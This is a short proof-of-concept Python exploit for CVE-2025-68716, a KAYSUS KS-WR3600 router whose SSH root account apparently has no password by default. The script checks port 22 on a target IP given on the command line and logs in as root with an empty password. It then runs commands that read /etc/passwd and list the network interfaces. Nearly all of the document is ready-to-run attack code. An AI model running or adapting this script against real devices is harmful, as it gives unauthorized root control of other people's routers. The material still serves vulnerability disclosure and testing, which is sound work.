CVE-2025-68716 KAYSUS KS-WR3600路由器root账户无密码导致未授权访问

# CVE-2025-68716 PoC - KAYSUS KS-WR3600 Router Root Access # Affected: KAYSUS KS-WR3600 with firmware 1.0.5.9.1 # Vulnerability: SSH root account with no password enabled by default import socket import sys from paramiko import SSHClient, AutoAddPolicy def check_ssh_port(ip, port=22, timeout=5): """Check if SSH port is open on target""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) try: result = sock.connect_ex((ip, port)) sock.close() return result == 0 except: return False def exploit_cve_2025_68716(target_ip): """Exploit CVE-2025-68716: Login to KAYSUS router via SSH with no password""" print(f"[*] Target: {target_ip}") print(f"[*] Testing SSH service on port 22...") if not check_ssh_port(target_ip): print("[-] SSH port is not accessible") return False print("[+] SSH port is open, attempting root login with no password...") client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) try: # CVE-2025-68716: Root account has no password client.connect( hostname=target_ip, port=22, username='root', password='', timeout=10, allow_agent=False, look_for_keys=False ) print("[+] SUCCESS: Logged in as root with no password!") # Execute commands to verify root access stdin, stdout, stderr = client.exec_command('whoami; uname -a; cat /etc/passwd | grep root') print("\n[+] Command output:") print(stdout.read().decode()) # List network interfaces stdin, stdout, stderr = client.exec_command('ip addr show') print("\n[+] Network interfaces:") print(stdout.read().decode()) client.close() return True except Exception as e: print(f"[-] Login failed: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-68716.py <target_ip>") print("Example: python cve-2025-68716.py 192.168.1.1") sys.exit(1) target_ip = sys.argv[1] exploit_cve_2025_68716(target_ip) if __name__ == "__main__": main()